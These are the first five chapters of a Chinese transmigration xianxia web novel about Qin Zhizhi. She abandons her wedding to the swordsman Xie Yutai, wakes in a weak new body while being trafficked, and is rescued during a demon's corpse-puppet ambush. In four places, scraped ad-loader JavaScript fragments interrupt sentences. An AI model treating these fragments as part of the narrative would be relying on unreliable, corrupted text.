《我渣了天下第一剑修后》 1. 001 “前置剧情完成100%,宿主的攻略任务已经结束,攻略评级S。” “根据评级匹配的新身体加载完毕,正在扫描。契合度100%,适应度90%,灵魂完整度70%……” “恭喜宿主,从今天起,你自由了。” 在一阵机械音中,秦知知艰难的睁开双眼。她的大脑尚是一片混乱,自剖丹田的剧痛仿佛还在刺激着神经,腹部的绞痛让她忍不住蜷缩起身体。 真的太痛了!早知道就换一种脱身的方法了! 像万千网文中所写的那样,秦知知穿书了。穿成了修仙世界老牌宗门天同宗前宗主的女儿秦知知,虽然爹去的早,但继承宗主之位的是秦知知的大师兄,自幼是千娇万宠,要啥有啥。可惜这样一个角色在书中只是用来推动剧情的炮灰,不然真是躺赢。 关于原书男主谢煜台是怎么道心坚定,称霸仙界的,秦知知不太了解,系统说她不需要知道。她穿的像个前传,只要按照剧情,对着男主死缠烂打,让男主不堪其扰娶了她再把男主踹掉,走完这段剧情她就能重获自由。 秦知知心想,竟有这等好事? 长这么大还没当过渣女,真是好期待好期待呢。 那一年剑修大比之后,清贵淡漠、惊艳绝伦的归元宗首席大弟子——谢煜台,身后蓦地多了一个怎么甩也甩不掉的小尾巴,天同宗女修秦知知。 经过九九八十一难,尤其是最后一难,秦知知差点把自己的小命都搭进去之后,谢煜台终于亲自登门求娶秦知知。他们很快便要在全修仙界的八卦围观之下,结成道侣,而秦知知的任务也即将结束。 她最后的任务就是拒婚谢煜台,再想办法脱身,因为系统说秦知知这具身体过了大婚之日便不能再用。 这什么鬼设定,秦知知完全不懂。敢情她穿的这具身体还是有时限的,是防腐剂没用够吗还是系统就这水平?身体这事暂且不提,拒婚这个要求,其实也有点扯。 要知道,整个修仙界谁人不知谁人不晓,秦知知有多钟情于谢煜台,甚至扬言非君不嫁。根本没道理在婚礼当天说不嫁了,这不整一个崩人设吗?更何况,秦知知有点自恋的觉得,谢煜台应当是喜欢自己的。 在相处的过程中,在不经意的一个眼神里。每次都会及时伸过来的手,及时劈开浓雾的剑锋,不管自己如何痴缠也不会发火,无论闯出什么祸来都会帮自己兜住的谢煜台。要说他自己不喜欢自己,这合理吗?秦知知想,自己那么好看又那么可爱,谁把持得住啊? 正愁怎么悔婚呢,谢煜台根本不喜欢自己的证据就一个一个送到了秦知知的面前。 当日秦知知为救谢煜台修为尽毁,险些当场魂飞魄散。还在恢复后期,谢煜台就来到天同宗求娶秦知知,这是为什么呢?因为天同宗宗主、秦知知的大师兄、亲亲师兄傅行云亲自登门上访,威逼利诱,令谢煜台无法下台,逼不得必须娶秦知知。此乃挟恩图报。 还因为,当日秦知知差点魂飞魄散之际,谢煜台被迫无奈与其一起服下阴阳同生蕊,才堪堪救回秦知知的性命。但服用阴阳同生蕊之后,二人必须定期双/修,不然便会无法承受仙草的生机,爆体身亡。修为尽毁的秦知知已然是个废人,若想再登仙途就必须依靠与谢煜台双/修,但同时,她也会成为谢煜台永远甩不掉的累赘。谁会喜欢一个依靠自己才能活的累赘呢? 更是因为,谢煜台修的乃是太上忘情,情字于他实属累赘,他不可能、绝不可能爱上秦知知。这是致命一击。 一时之间,竟也不知到底是谁负了谁。 秦知知后知后觉的想起,谢煜台好像拒绝过自己很多次,他确实不喜欢自己。之所以没让秦知知难堪,一而再再而三的容忍自己,只是因为他这个人修养真的好。 总而言之,秦知知感谢谢煜台。她终于找到了完成任务的理由。 盟誓大典当天,众目睽睽之下,秦知知掀开盖头。她用那把谢煜台赠给她的……当然,某种程度上是自己硬要的匕首,颤抖着剖开了自己的丹田。丹田深处,阴阳同生蕊的阴/蕊正散着幽蓝且微茫的暗光。 “谢煜台,你我从此两清。” 我把阴蕊还你,你不必再因为所谓的救命之恩,搭上自己整个仙途。 看着面前的谢煜台,秦知知倒有几分畅快。 想不到吧,其实自幼被娇宠长大的秦知知,一直是个骄傲的小 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 姑娘。 “谢煜台,我不嫁了。” 她很想谢煜台娶自己,但不是为了恩情。她是想嫁给谢煜台,却绝对无法容忍自己成为累赘。倘若得到的不是自己追求的,这一切又有什么意义。还不如让秦知知在那危急时刻魂飞魄散,至少还留有一丝美好的回忆。 不过……这些都不重要了。 系统:“宿主,你难受吗?” 秦知知捂着腹部简直无力吐槽,这什么狗问题:“你被剖了丹田能不难受吗?” 系统沉默了一会:“不是,我想问的是,谢煜台这么对你,你难受吗?” 秦知知愣住,这个问题……怎么说呢,她好像真没想过。 于是她认真想了想。 系统:“怎样?” 秦知知:“……他妈的当然还是肚子更疼啊!” 混沌的脑袋终于慢慢清醒,秦知知觉得有些头晕,便闭上眼睛平复心情,顺便开始接收属于这具新身体的记忆。在现代社会的秦知知是因一场意外穿到这里,她父母早亡,毫无牵挂,故而完成任务后倒也不是非回去不可。更何况系统也承诺了,会根据她完成任务的情况,给她找个好身……卧槽! 看完记忆后的秦知知脑子里第一个反应——这是她开局即巅峰,却拼死拼活才能拿S评级的小菜鸡配拥有的身体吗?她配吗她配吗? 这具身体名字叫秦芝芝,年龄十八岁,是武都城城主的女儿。武都城城主原配死的早,将小妾抬成了正室,那小妾生了一儿一女,儿子秦关楼,已经开始修行,女儿秦芝婕,长得貌美如花,从小就喜欢和秦芝芝各种攀比。秦芝芝生母还在时,与和光派弟子君无涯的母亲是旧交,因此早早就为君秦二人定下婚约。可秦芝婕处处喜欢压秦芝芝一头,婚事上怎么可能作罢?竟和那小妾合计将秦芝芝打晕,准备将她卖到魔修之地。秦芝芝身体娇弱,在黑市倒卖的过程中命丧黄泉。 然后秦知知就来了。 在被倒卖到魔修之地的路上。 怪不得她浑身不舒服,原以为是剖了丹田的后遗症呢。原来是因为这具身体本来就很弱啊。呵呵。 你看这个人,她重生以后笑的多开心啊。 2. 002 秦知知捂着腹部,偷偷抬眼打量四周。她正躺在一个马车里,摇摇晃晃的不知道究竟驶向何处。这马车十分简陋,最多只能容纳两人,整个车厢散发着一股霉味,令人窒息。 马车门帘外说话的声音随着路上的晃动,时断时续。 “……这是个好的,我单独留了下来。据说是什么养在世家的小姐,细皮嫩肉的不说,我瞧着那模样,还是有灵根的……” “就是看着娇弱了点,不知道能不能扛得住。” 秦知知坐起身,悄悄掀开门帘的一角,见两个彪形大汉正坐在前面,边聊天边赶马车。这两人中高一些的已经筑基,另一个则是练气修为。这要是从前的她,早就一刀劈过去,打这两人不是绰绰有余?但如今现在这具身体比普通人还要弱上几分,要是硬来显然不行。 思及此处,秦知知恨得牙痒痒。发卖到魔修之地,何其残忍,那小妾要是不能容人,让原身自身自灭也就罢了,偏偏要做这样的事情!魔修修炼功法与修士完全不同,若是被卖到魔修之手,为奴为婢倒还算是个好结局。若是有几分灵气,说不准就要成为鼎炉,生不如死。秦芝芝虽然是城主的女儿,但自幼失去母亲,又被继母长期忽视,养在深闺里,不仅没炼成什么修为,更是什么也不懂,这根本就是要将她往死路上逼。秦芝婕和那个小妾心思如此狠毒,待这次逃脱之后,她必要找机会回去替原身出了这口恶气。 不过目前,秦知知看了眼自己这没比擀面杖粗多少的小胳膊,重重叹了一口气。 简陋的马车、毫无修为的身体……秦知知一边观察着周围,一边思忖着究竟如何脱身,恰巧一阵微风拂来,掀开马车窗帘的一角。她抬头,向窗外一瞥。 马蹄声碎,扬起阵阵黄沙。这里的黄沙似乎特别多,卷起的烟尘遮天蔽日,显得外面灰扑扑的挥不去的阴沉之感。就在这一片烟尘之中,一群年轻修士身着青衣白袍,身负七弦琴,从马车旁施施然走过。修士宽大的袖袍敛过烟沙,划过一条浅淡的弧线,触碰到琴身上的琴穗。特殊材质所制的琴穗在阳光下闪过一丝微光。 秦知知心中一动,低头狠狠咬破自己右手食指的指尖。 都说十指连心,这一下痛的她皱起眉头。不过秦知知是狠起来自己丹田都能剖的人,这点伤也算不了什么。 来不及犹豫,她用血在自己的手心画出一道复杂的符文。 扩音符——这种修仙界的小符文通常没什么用,天同宗的长老们只有在弟子们太闹腾的时候才会画一张符,再狂吼一声,用来镇镇场面。没有战斗力的符文即便是没有修为的人画出来都可以使用,只是这样的符文通常要更复杂,普通人难以掌握,便不常见。但秦知知是谁?天同宗第一小霸王,战斗符这种正儿八经的玩意儿她不一定会,扩音符这么有趣的东西她能缺席? 血液凝固的很快,秦知知不敢有片刻放松,屏气在手心将所画之符一气呵成。下一秒,她毫不犹豫的将沾满着鲜血的手心往自己嘴巴上“啪”的一盖—— “大胆,我乃和光派弟子君无涯的未婚妻,你们是何人,竟敢绑架我?” 少女娇斥的声音像是加了扩音器一般,瞬间扩大一倍,震得马车门帘与窗帘“刷”的荡起。马车外一群和光派的琴修们愣在原地,直直看向马车,声波掀起的帘内,只能看到一个模糊的身影。 这声音吓的马车外的两人虎躯一震。高个的男人暗道一声不好,难道是蒙汗药下的还不够多?竟让这人在半路就醒了。还有,不是说好是个什么都不懂的世家大小姐吗?这闹的是哪一出!他暗使了一个眼色给旁边的男人,那人点了点头,钻进车厢里想要将秦知知弄晕。 秦知知见一人目光凶狠的掀开帘子,却不慌张,反而坐的四平八稳,不动如风,只冲着那人笑了笑。她唇周染尽血色,符文的线条盖在脸上,弯弯曲曲像是鬼画的一般,在马车深处晦暗的光线之下,微微一笑,宛如邪魅。 那人被这笑容一晃,竟是霎时心惊胆战,不敢向前。 “我乃和光派弟子未婚妻,你们如此欺我,真不怕和光派找上门来?”符文渐渐失效,这一声的威力已经比第一声差太多太多。不过这也不耽误,毕竟修士们的耳力都不差,该听到的,一句也漏不掉。 “呸!你说自己是和光派弟子的未婚妻就是了?我还是和光派掌门的爹呢!”那人怒极反笑,吐了口吐沫,伸出手来就要扣住秦知知。 秦知知侧身一躲,心里暗笑,你完了,你敢说自己是和光派掌门的爹。 果然下一刻,马嘶之声、琴音之啸裹挟着凌冽的肃杀之气,“碰”的一声炸响,马车车厢从侧面劈开。木屑簌簌落在秦知知的头上,被刺眼的光线一照,她下意识的伸出手遮住自己的双眼。 阳光下,抚琴攻击的青年不过二十五六岁的模样。他身形挺直,面容俊秀,宽大的衣袍无风自动,衣襟上的寒松料峭春风,膝头横着一张伏羲琴温润光泽,淡青色的琴穗在音域中飞扬。 “听说有人想当我们和光派掌门的爹?”'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> 青年背后,另有五六个青衣白袍的弟子抱琴而立,不怒自威。 现今修仙界分为三宗六派十二城,十二城暂且不提,但能进入三宗六派,成为核心弟子的都是同辈中的佼佼者,门派里点着灯魂的,谁不是师父手上的宝贝疙瘩?两个男人抬头一看这几个修士的衣服,便知晓这都是不好惹的角色,若是再继续下去只怕难以善终。他们二人也不敢多做纠缠,对视一眼,迅速捏碎身上的传送符,速度之快,众人来不及反应便从原地消失的无影无踪。 秦知知看着比耗子溜的还快的俩人,一时愕然。 怎么说呢,当爹的时候很积极。被戳穿时跑的也是真的快,技能全点在两条腿上了吧这。 她还在愣神间,便感到有人将自己从破碎的车板上捞了起来。 秦知知回头,见一个身着青衣白袍,身量高挑的女修扶着她。发现自己看过来,对方递过来一张帕子,温柔的笑道:“姑娘还好吧?” “挺、挺好的……”秦知知拿过帕子在自己嘴上狠狠擦了几下。这帕子似乎有点说法,已经凝固的血块被轻而易举的抹下来,秦知知的唇周顷刻便干干净净。 “刚刚姑娘说,你是我们和光派弟子的未婚妻……?”见她已经收拾妥当,女修轻挑双眉,有些试探的询问。 秦知知有些无奈。她原先没想着这层关系,实在是因为情况危急才不得出此下策,要说怎么就好巧不巧的和光派从自己身边路过呢? 不过既然已经认了,倒也不好反驳什么。秦知知老老实实的答道:“我是和光派弟子君无涯的未婚妻,武都城城主的女儿,秦芝芝。” 待她说完,她面前的两个少年突然有些激动,其中一个捅了捅旁边的少年迫不及待凑过去一脸八卦:“君无涯、君无涯……” 秦知知耳朵一动,自然听到了那人的话。她想到原身记忆里有些模糊的少年形象,不禁抿嘴,冲着那位少年甜甜一笑:“你就是君无涯吧?” 其实武都城的秦芝芝和天同宗的秦知知长的倒有三四分相似。只是秦知知明媚骄矜,秦芝芝娴静内敛,再加上自幼不受重视,显得有些柔弱忧郁。如今这抿嘴一笑,颊畔的小梨涡若隐若现,褪去那一份忧郁之下,少女的明艳犹如春风中含苞待放的三月桃花。 两名少年被这笑容晃的俱是一愣。 “咳、咳,”一阵轻咳声从秦知知的背后传来,那声音犹带着几分笑意,“你认错人了,我才是君无涯。” 秦知知:“……” 3. 003 秦知知回头一看,身后之人玉立长身,背着一张伏羲古琴,淡青色的琴穗在身后摇摆,几缕碎丝停在肩膀处的寒松之上,他整个人也犹如青松。 正是刚才抚琴破开马车车厢的青年。 秦知知及时闭上了嘴。 其实原身总共也没见过君无涯几次,只是打小就知道自己有个在和光派修行的未婚夫。别人都说她命好,虽然娘去的早,但婚事定的好,未婚夫是少年英才,前途无量。最后一次见君无涯,是几个和光派弟子下山做任务,路过武都城,君无涯顺路前去拜访。掐指认真一算,好像也是几年前的事了…… 还没等秦知知想着怎么解释,刚才扶着自己的女修便冲着那人不满道:“陆师兄,都什么时候了你还在这说笑?” 秦知知头上缓缓出现一个问号。 那男子被戳穿后,摸了摸鼻子显得有些尴尬:“咳,秦姑娘,方才是玩笑话。我是君无涯的师兄陆远道。” 那女修名叫苏青衣,见陆远道老实了这才开口道:“秦姑娘你可别见怪,陆师兄就是这幅模样,但他没有坏心思。” 秦知知挠头:“没关系。” 你们和光派都玩这么花的吗? “不过你既然说自己是君无涯的未婚妻秦芝芝,可有什么信物吗?”陆远道询问。君无涯一般都在门派中,和武都城来往并不多,一时认不出人来也没什么,不过既然救了下来还是核实清楚的好。 秦知知回忆着原身的记忆,一字一句答道:“我有一半刻着如意宝瓶的独山玉,上有‘桂馥兰馨’四个字,另外半块在对方的身上,刻着的是‘珠联璧合’。” 她顿了顿,小心翼翼的看向和光派众人:“只是那玉如今却是不在我身上了。” 苏青衣一听这话顿时拉着她,轻抚她的手背安慰道:“没事了,秦姑娘,剩下的我们都清楚了。” 秦知知:? 你知道什么了?展开细说说。 “真是君师兄的未婚妻啊!” 身后围观的几个和光派弟子听完两人的对话都心生感慨,见秦知知的身份没什么问题,便吆喝着去附近的酒家休整一下。这下七八个人成群结队,将秦知知围在其中,吵吵嚷嚷。修士衣袖间若有若无的熏香之气萦绕在秦知知的鼻尖,让她恍然生出一种新生之感。 秦知知还算比较幸运,在那俩人将她卖到魔修之地前就醒了过来。此处乃是位于修仙界边境与魔修之地交界的灰色地带,名为佛昙,是从修仙界去往魔修之地的必经之处。佛昙是有名的三不管之地,此间鱼龙混杂、三教九流,什么都有。往前,是藏污纳垢的魔修之所,往后,便是光明磊落的修仙界。 和光派弟子拥着她进了一个酒家,点了一桌子的好菜,叽叽喳喳的开始问起她到底发生了什么,怎么被掳到佛昙。秦知知想了想,回答道:“我与妹妹一起上街,谁知道后脑勺一阵剧痛,便不省人事,等醒来后就在马车上了。” 这确实是原身当天遭遇的事情。 可没想到她刚说完,苏青衣登时气愤道:“果然是那秦芝婕的问题!” 秦知知一头雾水,便见苏青衣拉住她的手:“秦姑娘你是不知道,前阵子你那好妹妹秦芝婕拿着半块玉佩到我们和光派去,说是来替她嫡姐赔罪。” 秦知知茫然:“我什么罪?” “说你扔了玉佩逃婚去了,现在到处找不到人!” 秦知知倒抽一口凉气:“我自幼养在闺阁之中,手无缚鸡之力,怎么可能做这种事情?” 嘴上这么说,心里却快笑疯了,她还没见过这么喜欢给自己挖坑的人,秦芝婕,真有你的。 苏青衣替秦知知倒了杯茶,继续说道:“秦芝婕还硬说这婚事既然是双方长辈定下的倒也不能就此轻易作罢,她愿意替嫡姐嫁过来。” “对啊,还天天缠着我们君师兄。本来这次君师兄是要和我们一起下山的,结果却逼不得已留在门派里。”另一弟子不知是想到了什么,搓着自己的胳膊,表情有些一言难尽。 秦知知飞速眨了眨眼睛,再抬头时已是泪凝于睫。 她本就生的柔弱沉静,一张巴掌大的小脸几经颠簸更显得瘦弱憔悴,剩一双圆溜溜的大眼睛含着眼泪更是显得楚楚可怜。 “妹妹为什么要这么说?她要是真的那么喜欢君仙长,我、我让给她就是了……” 除苏青衣外,和光派弟子们都是热血青年,一见小姑娘落泪都有些情绪激愤,再一想到把君无涯烦的不堪其扰的秦芝婕更是心中的天秤都斜到了一边,纷纷叫道:“秦姑娘你放心,我们回去便替你讨回公道!” 秦知知心里暗爽,面上却还是一边感激一边擦泪。她抬起袖子的瞬间,却见刚刚一直没有说话的陆远道正端着茶杯似笑非笑的看着自己。秦知知心里一个咯噔,坏了,看来她演过头了? “还好父亲曾教我写过扩音符,又有你们相救……”秦知知暗暗收一收自己的卖惨人设,一边默不作声的岔开话题,“只是佛昙这样的是非之地,为什么你们会在这里呢?” 苏青衣见她换了个话题,倒也不便再戳人痛处,笑着回答道:“秦姑娘可能还没听说吧,我们都是为归元宗的谢煜台而来。” 听见谢煜台的名字,秦知知眉心一跳。 这什么事儿啊?怎么还跟谢煜台扯上关系了? “你是不知道,那群魔族的混账们有多过分,他们竟然在谢煜台成婚当日率魔军攻打归元宗!”和光派一个弟子说着说着气急了,狠狠一拍桌,“太不是东西了!当天来了那么多观礼的人,大家都喜气洋洋,却被打了个措手不及。那个魔族右护法姜沅芷害的谢煜台未婚妻当场身死,谢煜台还穿着喜服呢,提着剑便一路追杀姜沅芷到了魔族……” 秦知知:等等,等等,你是开了二倍速吗能不能说慢点……你在说啥?! “唉,”苏青衣惋惜的叹了一口气,“那天同宗的女修真是可惜,之前谁人不知她喜欢谢煜台,如今好不容易要嫁给心上人,谁能想到是这个结局。说来也是巧呢,那人也叫秦知知,和你名字读音一模一样。” 秦知知:“……是啊,真的好巧。” 啊这,其实她自己也没想到死后还能出这么多事。好像即使不剖丹田也很难顺利嫁给谢煜台呢。 “姜沅芷和谢煜台消失后,三宗六派的掌门人连夜发布命令,召集各派弟子回宗门商讨事宜。碰巧我们就在佛昙附近,师父便传信来让我们绕到这里看一下情况,若有情况及时联络,也好给孤身一人的谢兄提供支援。”陆远道终于放下茶杯,缓缓开口。 秦知知:“……原来如此。” 原来自己死后,拿了女主剧本的是谢煜台吗?还挺精彩的就。 其实关于姜沅芷,秦知知或多或少了解一些。她知道那魔族右护法好像还是个挺重要的人物,据系统说她实力强大,虽然年纪轻轻却已是元婴期。要知道,即便是天纵英才谢煜台也才不过金丹修为,却已是几百年来修仙界最有望飞升的剑修。 剧情里,这个妖女似乎看上了谢煜台,早有想将人掳走的心,只可惜一直找不到机会。这下谢煜台要成亲了,还不赶紧抓准机会? 如此想来, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 秦知知不免有些惆怅。 自己煮了那么久的鸭子就这样飞掉,她甚至还没吃上一口。想到谢煜台那张谪仙般的禁欲脸,到底有点心里痒痒。 这厢秦知知还在肖想些有的没的,他们坐的桌子却突然剧烈颤动起来。噼里啪啦的噪声之下,杯子碗筷摔了一地,惊的她差点从凳子上摔下去:“怎么这是,地震了吗?” 酒家大门外似有狂风阵阵,吹得店门开开阖阖,吱呀作响。酒家里的光线忽明忽暗,伴随着忽大忽小的狂笑之声,听的人心惊胆战。秦知知被这笑声震的头皮发麻,索性一屁股坐在了地上,一手捂着胸口,一手扶着桌腿,竟是撑不住“哇”的吐出一口血来。 发出这笑声的人最低也有金丹修为,像秦知知现在这样的废柴毫无抵抗之力,再笑下去她人就没了。 此刻异变陡生,酒家中原本正在柜台后的小二和厅堂中零散的客人在笑声之中目光渐渐放空,黑色瞳仁充斥着整个眼睛。他们宛如木偶般,姿态僵硬的从座位上慢慢站了起来,渐渐将秦知知等人包围。 靠近时可以闻到他们身上浓烈的尸臭,显然已经死去多时。 在这异变之下,陆远道最先反应过来,七弦琴已横在膝头,“当”的一声,五指拨动七弦,琴音混合着灵气在当空划开一道音域,将所有人笼罩其中。 苏青衣随之反应过来,抱住自己的琴身,盘腿坐在陆远道的身边,再次划出一道音域,有些焦急道:“陆师兄!” 陆远道沉声:“和光派弟子,布阵!” 其他弟子皆回过神来,依次坐下,用琴音阻挡这恐怖的笑声。每一个音符从指尖蹦出,音域便会扩大一分,和着笑声在空中相碰,竟是形成了两股力量相互对峙。而周围的尸/体也因着这音域无法靠近,只是一直低着头,站在音域外围,喉咙中发出“嗬嗬”的声音。 “修仙界是无人了吗,派你们来打探消息?”酒家外,笑声渐渐平息,一个阴柔的声音在众人耳边炸响,雌雄莫辨,“我看你们好像连佛昙都走不过去呢。” 酒家外,黄沙漫漫,一片烟尘之中仿佛有许多身影摇摇晃晃的向这里走来。他们眼睛纯黑一片死寂,脸上甚至透露出隐隐的尸斑。之前还十分正常的佛昙,已然变成了充满行尸走肉的斗兽场,而他们就是刀俎之上的鱼肉。 秦知知眼皮一跳,见这情况哪里还不明白,现在的佛昙已经没有活人了。 这魔族分明不知从哪里得到了有修士前来支援的消息,以佛昙为引在此布下陷进,就为了将他们一网打尽。 不过魔族怎么会那么快就得到消息,甚至早在佛昙布下杀手?难道修仙界里有内奸? 刚理出点头绪的秦知知人都被这内力震麻了,她真恨自己只拿了一个S评级,但凡她能拿个SSS,还用受这委屈? 就在和光派弟子准备奋力一击时,一道剑光蓦地劈开烟尘,伴随着铺天盖地的凌冽剑气,所有的声音瞬间戛然而止。周围的尸/体被这冷厉的剑气所压,竟是纷纷弯下腰去,隐隐发抖。 琴身嗡鸣,像是感受到了什么一般,剧烈震荡。 来者身披墨色大氅,身着白衣若雪,衣襟之上白鹤展翅,踏云而归,令他整个人犹如白鹤化身,夹杂着凛然的剑气,从云端翩然而至。 他皓齿朱唇,眉骨端方,双眼之上蒙着一层白练,虽然什么也看不见,但持剑一步一步从黄沙处走来,宛若闲庭信步,身在画中。 秦知知看到那人眼上蒙着一层白练时,蓦地怔愣。下一刻便听到那阴柔的声音有些讶然道:“谢煜台,你怎么会在这里?” 4. 004 谢煜台生的有多好,秦知知再清楚不过。 端的是凤眸狭长,飞眉入鬓。 有传言谢煜台于归元宗问剑峰练剑之时,白衣鹤氅,拂衣翩然,竟引得仙鹤飞来盘桓,久久不散。鹤鸣九皋,声闻于天。 他不仅生得好,更是强的可怕。十三岁筑基,二十三岁结丹,用短短的时间就完成了别人几十年都未必能达到的高度,是修仙界顶流中的顶流。归元宗长老们感慨于谢煜台的风姿与天赋,又爱叫他“小谪仙”,他是当今世间公认的百年内最有望飞升的天才。 秦知知知道谢煜台那一双眼睛生的有多好。练剑时目光之中满是剑意,萧瑟冷冽,但望向他人时却是冲淡平和,不温不火。 可如今这双极美的眼睛却被一抹白练遮的完完全全,丝毫不漏,看的她心里一沉。 谢煜台瞎了。 “谢道友!” “是归元宗的谢师兄!” 和光派的弟子一看来了救星,眼前一亮,纷纷叫出声来。 谢煜台站在酒家外面,蒙在眼睛上的白练系在脑后随风微起,听见他们的声音还算洪亮,也没有闻到血腥之气,应该没什么大问题,便微微颔首。 虽然瞎了,但他好拽啊。秦知知想到,还是那么拽。 “谢煜台,你怎么会在这里?”那魔族似乎有些不敢置信,明明谢煜台被姜沅芷扣在魔修之地,怎么会在这么短的时间内就到了佛昙?难道修仙界的人还有别人接应?不过,他很快便否认了这一想法。 谢煜台一人一剑,根本不像是有援手的模样。 但见他双目被遮住,那魔族思忖片刻转瞬笑道:“真有意思,修仙界的第一剑修,如今竟然瞎了眼睛?” 他说话之间,谢煜台剑锋一动! 凛然剑气霎时破开长空,带着不容置喙的决然铺天盖地席卷而来。“啪”的一声,酒馆的窗户被剑气所伤,骤然洞开,原本平整的窗棂上出现了一道又一道深深的裂痕。 “陆远道,西南。”烟尘中,谢煜台的声音传来,犹如鸾佩相逢,泠然作响。 陆远道听到后眉头一紧,“当”的第一声从琴弦上拨过,是石子投向池水,划开层层涟漪。涟漪在空中一圈一圈不断扩大,形成了一个巨大的灵气汇聚场。陆远道右手“刷”的划过七弦,强盛的威压之气瞬间流向西南。 黄沙被灵气吹散,露出一个年轻的身影。那人穿着蓝衣白袍,梳着恨天高,站得笔挺,手中捏着一张符箓,一派凡人修士的模样。他见自己阵法已破,现出真身倒也不慌不忙,摇头晃脑道:“又见面了,谢师兄。” 陆远道见到这人突而脸色一变:“这不是归元宗的宗衍师弟?” 秦知知也有些吃惊,她从前是见过宗衍的,但宗衍只是问剑峰的外门弟子,所以并不是十分熟悉。只不过宗衍再是外门弟子到底也是修仙之人,现在怎么浑身都充满着魔气,甚至修为大涨? 苏青衣咬牙道:“但是宗衍师弟分明已经死了!” 就死在归元宗那场盛大的盟誓大典上,姜沅芷毫无征兆的带着魔军攻上归元宗,毁了谢煜台的婚礼,那天死去的人可不止有秦知知。 “谢师兄,要不是参加你的盟誓大典,我也不会死呢。”顶着宗衍的脸,那人笑的一派灿烂,他歪着头询问,“师兄打算怎么赔我?” 他催动手中的符文,周围的行尸走肉却毫无反应,原本带着笑容的脸色骤然变化,露出几分阴鸷与嫌恶:“真是一群废物,不过是剑气就把你们吓成这样。” 一边说着,他咬破手指,原本的符文凌空燃烧,泛着黑气的血液在空中画出一道符文,血痕没有在风里散去,却凝固在他面前,鬼气森森。 “去!”他一笑,周围尸体瞬间活动起来,他们不再弯着腰,而是迈着步伐一步一步逼近谢煜台。 苏青衣怒道:“这不是宗衍!” 这当然不是,秦知知被围在音域中,听见苏青衣的话心里暗想,有这等修为和功法,放之四海也只有一人,魔族左护法——啖无宁。 果然,下一刻陆远道冷笑:“魔族左护法,鬼修啖无宁。” 魔族除魔尊之外有两大护法,左护法鬼修啖无宁,右护法妖女姜沅芷。姜沅芷好阴谋诡计,玩弄人心,是十足的魔修妖女。啖无宁擅于“炼尸”,最喜欢捉了修士回来给自己当傀儡,死了还可以继续驱使,毕竟没有什么比死人更听话。 只是外人从来只见过姜沅芷,却从没有人见过啖无宁,他每次出场用的都是傀儡分身,没人知晓他的真正实力和真实样貌。 在啖无宁的催动之下,群尸将谢煜台包围。陆远道这里情况也不容乐观,这群早已死去多时的尸体像是打了鸡血一半,前仆后继的撞向音域。和光派弟子琴声大动,筑成防御之音,然而没有感觉的尸体强行贴在音域之上,他们蹭蹭堆积,以肉身来填。修为炙烤着□□发出“滋滋”的声响,很快和光派弟子的防御之乐渐弱,“刷”的音域被破开一个大口! “糟糕。”和光派一个弟子低声叫道。 陆远道 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 眉头深皱,他是这群人里的大师兄,修为已至辟谷,远比这些毛躁的小子沉稳许多。见阵已破,他一把推开阵口旁边的弟子,以身挡在群尸之前,勾托抹挑之中一曲《破阵》弹尽金戈铁马。 “好吵啊。”啖无宁抱怨,“最讨厌你们这些琴修了。” 他仰天长啸,啸声直冲九天,其内力绵长,正在对抗的陆远道直接被魔气反噬,“哇”的吐出一口鲜血。和光派其他弟子也被啸声所扰,苏青衣竟是直接昏了过去。 就在此刻,被包围的谢煜台突然动身,剑招奇快,整个人就如同手中之剑,他的剑在那瞬间也仿佛有了灵魂。没人看清他究竟是如何出手,剑气卷起散落的黄沙,群尸被剑气压制,最靠近谢煜台的一圈尸体瞬间被剑气斩杀,一分为二。 如此可怕又惊人的剑气让原本包围着陆远道等人的尸体转移方向,拖着已经残破的身躯踉踉跄跄的向谢煜台逼近。 谢煜台身形奇快,破开群尸。烟卷尘沙,众人视线一花,只能看见他的一片衣角略过,和着剑光微闪。 谢煜台孑然独立,面对着啖无宁,周围是七零八落的尸人,血迹正沿着剑锋滑落。 风吹起他束在脑后的白练,和着几缕青丝纠缠。 “你的废话太多。” 现在这种神仙打架的局面,作为毫无修为的普通人,秦知知完全没有办法。她原本斜倚在桌腿上,见局面转向谢煜台,思考片刻,便安静的躺在了苏青衣的旁边。 反正也没什么用,干脆直接装死吧。 苟中求生,这个她熟啊。 目睹了秦知知动作全程的陆远道一个灵气没有提上来,差点岔气。 秦知知理直气壮,一脸无辜。 她最大的能耐就是躺着不动。 尸阵被破,啖无宁却丝毫不慌,他看着谢煜台,面上笑意淡了几分:“你确实很强。” “只是,为什么你的身上有魔气?” 魔气?秦知知不禁竖起了耳朵。 谢煜台是纯灵根修士,天资出众,灵气纯净,心性正直刚毅,练的又是刚劲杀伐的太上忘情道,怎么都不可能和“魔”这个字沾上关系。啖无宁这话说得是什么意思? 秦知知忍不住偏头,想要往谢煜台那处偷偷看一眼,谁知刚一动,啖无宁突然“咦”了一声:“怎么还有条漏网之鱼?” 什么漏网之鱼,这里难道还有其他人吗?秦知知尚在疑惑之中。 然后她就飞了起来—— 秦知知:你?啊?这? 5. 005 “好奇怪,这是哪里来的?” 黄沙深处,啖无宁抬手打出一道符箓“刷”的钉在她的衣领上。秦知知觉得喉咙瞬间收紧,一股难以抗拒的力量拎着她的衣领将她提到半空中。 秦知知扯着衣领防止自己被直接勒死,强颜欢笑。 哦,原来漏网之鱼竟是我自己。 佛昙的普通人早就被啖无宁炼成了尸人,他此次的目的就是来拦截修仙界的修士们,可从来没想到自己眼皮子下还藏了个全须全尾的普通人,而这普通人竟然还藏在一群修士之中。 陆远道一看秦知知被抓起来,强行提气传音:“谢师兄,这是我师弟的未婚妻。” 先前那一波反伤太狠,陆远道受了很重的伤,已是自顾不暇,又要看护其他师弟师妹,以至于让啖无宁钻了空子。秦芝芝……毕竟占着武都城城主女儿和君无涯未婚妻的头衔,能护,还是要护的。 啖无宁本来就对普通人没什么兴趣,也懒得费心,淡淡道:“算了,虽然废物,拿来炼尸也行。” 秦知知:?你最好是征求一下我的意见! 